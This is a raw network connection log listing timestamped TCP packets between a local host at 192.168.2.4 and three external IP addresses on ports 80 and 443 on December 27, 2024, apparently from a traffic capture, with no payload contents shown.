Dec 27, 2024 09:01:16.606352091 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.606837988 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.606893063 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.606954098 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.607002020 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.607513905 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.607599974 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.607620001 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.607652903 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.608361959 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.608455896 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.608460903 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.608511925 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.608890057 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.608968019 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.609004021 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.609057903 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.609628916 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.609730959 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.609769106 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.609769106 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.610388994 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.610446930 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.610470057 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.610527039 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.611028910 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.611099958 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.611103058 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.611144066 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.611692905 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.611764908 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.611793995 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.611884117 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.612411022 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.612461090 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.612483978 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.612554073 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.613105059 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.613163948 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.613246918 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.613296986 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.613791943 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.613877058 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.613986015 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.614042044 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.614490032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.614542961 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.614599943 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.614649057 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.615222931 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.615273952 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.615361929 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.615437984 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.615906954 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.615966082 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.616041899 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.616100073 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.616591930 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.616652012 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.616730928 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.616786003 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.617296934 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.617350101 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.617417097 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.617481947 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.617999077 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.618062019 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.618079901 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.618146896 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.618689060 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.618738890 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.618820906 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.618882895 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.619388103 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.619441032 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.619477987 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.619585991 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.620129108 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.620187998 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.620213032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.620275974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.620815992 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.620882034 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.620944023 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.621005058 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.621509075 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.621568918 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.621597052 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.621737957 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.622179985 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.622277021 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.622390985 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.622539043 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.622885942 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.622939110 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.623003006 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.623089075 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.623596907 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.623681068 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.623739004 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.623802900 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.624300003 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.624346018 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.624386072 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.624459028 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.624984980 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.625036001 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.625087023 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.625144005 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.625705004 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.625873089 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.625879049 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.625910997 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.626405001 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.626513958 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.626539946 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.626576900 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.627095938 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.627187967 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.627208948 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.627283096 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.627825022 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.627845049 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.627890110 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.627912998 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.628492117 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.628554106 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.628590107 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.628685951 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.629343033 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.629411936 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.629419088 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.629472971 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.629915953 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.629966974 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.630007029 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.630179882 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.630625963 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.630665064 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.630681992 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.630718946 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.631304026 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.631355047 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.631387949 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.631437063 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.632008076 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.632054090 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.632122993 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.632179976 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.632725000 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.632833004 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.632869959 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.632869959 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.633408070 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.633495092 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.633522987 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.633568048 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.634095907 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.634149075 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.634244919 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.634289980 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.634819031 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.634886026 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.634917974 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.634954929 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.635502100 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.635555029 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.635612011 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.635664940 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.636215925 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.636269093 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.636296988 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.636343002 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.636900902 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.636943102 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.636959076 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.636991024 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:16.805219889 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:16.805402994 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:18.540271044 CET	49806	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:18.540297985 CET	443	49806	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:18.540378094 CET	49806	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:18.541757107 CET	49806	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:18.541770935 CET	443	49806	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:19.067078114 CET	49783	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:19.067451954 CET	49808	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:19.186979055 CET	80	49808	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:19.187107086 CET	80	49783	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:19.187129021 CET	49808	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:19.187170982 CET	49783	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:19.187433004 CET	49808	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:19.306863070 CET	80	49808	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:19.751434088 CET	443	49806	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:19.751566887 CET	49806	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:19.770991087 CET	49806	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:19.771008015 CET	443	49806	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:19.771305084 CET	443	49806	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:19.814034939 CET	49806	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:20.007960081 CET	49806	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:20.007991076 CET	49806	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:20.008116007 CET	443	49806	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:20.539444923 CET	80	49808	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:20.539551973 CET	49808	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:20.762375116 CET	443	49806	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:20.762469053 CET	443	49806	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:20.762547970 CET	49806	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:20.762880087 CET	49806	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:20.762896061 CET	443	49806	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:20.762913942 CET	49806	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:20.762918949 CET	443	49806	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:20.772031069 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:20.772064924 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:20.772170067 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:20.772475004 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:20.772485018 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.079238892 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.079364061 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:22.081294060 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:22.081306934 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.081806898 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.083142042 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:22.083164930 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:22.083208084 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.159354925 CET	49808	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:22.159714937 CET	49818	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:22.279220104 CET	80	49808	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:22.279262066 CET	80	49818	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:22.279280901 CET	49808	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:22.279345989 CET	49818	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:22.279767036 CET	49818	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:22.399272919 CET	80	49818	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:22.871542931 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.871592999 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.871625900 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.871639967 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:22.871656895 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.871720076 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.871742964 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:22.871750116 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.871787071 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:22.871793985 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.879612923 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.879789114 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.879816055 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:22.879826069 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.879872084 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:22.888015032 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.939074993 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:22.939101934 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:22.986845970 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:22.990890980 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:23.032856941 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:23.081773996 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:23.085654974 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:23.085683107 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:23.085772038 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:23.085783958 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:23.085815907 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:23.085827112 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:23.085869074 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:23.086038113 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:23.086050034 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:23.086061954 CET	49813	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:23.086066961 CET	443	49813	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:23.257200003 CET	49820	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:23.257258892 CET	443	49820	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:23.257345915 CET	49820	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:23.257791042 CET	49820	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:23.257807016 CET	443	49820	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:23.674657106 CET	80	49818	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:23.675206900 CET	49818	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:24.561294079 CET	443	49820	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:24.561450005 CET	49820	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:24.563014984 CET	49820	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:24.563040972 CET	443	49820	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:24.563294888 CET	443	49820	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:24.564719915 CET	49820	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:24.564887047 CET	49820	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:24.564923048 CET	443	49820	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:24.564980030 CET	49820	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:24.564992905 CET	443	49820	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:25.233001947 CET	49818	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:25.233438015 CET	49826	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:25.353032112 CET	80	49826	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:25.353075981 CET	80	49818	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:25.353131056 CET	49826	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:25.353163004 CET	49818	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:25.370181084 CET	49826	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:25.489931107 CET	80	49826	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:26.346075058 CET	443	49820	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:26.346355915 CET	443	49820	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:26.346513033 CET	49820	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:26.346570015 CET	49820	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:26.346600056 CET	443	49820	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:26.502405882 CET	49831	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:26.502473116 CET	443	49831	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:26.502585888 CET	49831	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:26.503345013 CET	49831	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:26.503355980 CET	443	49831	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:26.794382095 CET	80	49826	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:26.794495106 CET	49826	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:27.762707949 CET	443	49831	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:27.762871981 CET	49831	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:27.764406919 CET	49831	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:27.764427900 CET	443	49831	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:27.764807940 CET	443	49831	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:27.766031027 CET	49831	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:27.766168118 CET	49831	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:27.766200066 CET	443	49831	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:28.424278975 CET	49826	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:28.424758911 CET	49837	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:28.544226885 CET	80	49826	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:28.544290066 CET	80	49837	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:28.544295073 CET	49826	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:28.544384003 CET	49837	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:28.544661999 CET	49837	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:28.664153099 CET	80	49837	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:28.689126015 CET	443	49831	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:28.689224005 CET	443	49831	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:28.689296961 CET	49831	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:28.689609051 CET	49831	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:28.689625025 CET	443	49831	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:29.015415907 CET	49838	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:29.015475988 CET	443	49838	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:29.015616894 CET	49838	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:29.016047955 CET	49838	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:29.016058922 CET	443	49838	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:29.921049118 CET	80	49837	185.215.113.43	192.168.2.4
Dec 27, 2024 09:01:29.921191931 CET	49837	80	192.168.2.4	185.215.113.43
Dec 27, 2024 09:01:30.228569984 CET	443	49838	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:30.228770018 CET	49838	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:30.230314970 CET	49838	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:30.230334997 CET	443	49838	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:30.230592966 CET	443	49838	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:30.232047081 CET	49838	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:30.232220888 CET	49838	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:30.232256889 CET	443	49838	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:30.232342958 CET	49838	443	192.168.2.4	172.67.165.185
Dec 27, 2024 09:01:30.232352972 CET	443	49838	172.67.165.185	192.168.2.4
Dec 27, 2024 09:01:31.158243895 CET	443	49838	172.67.165.185	192.168.2.4
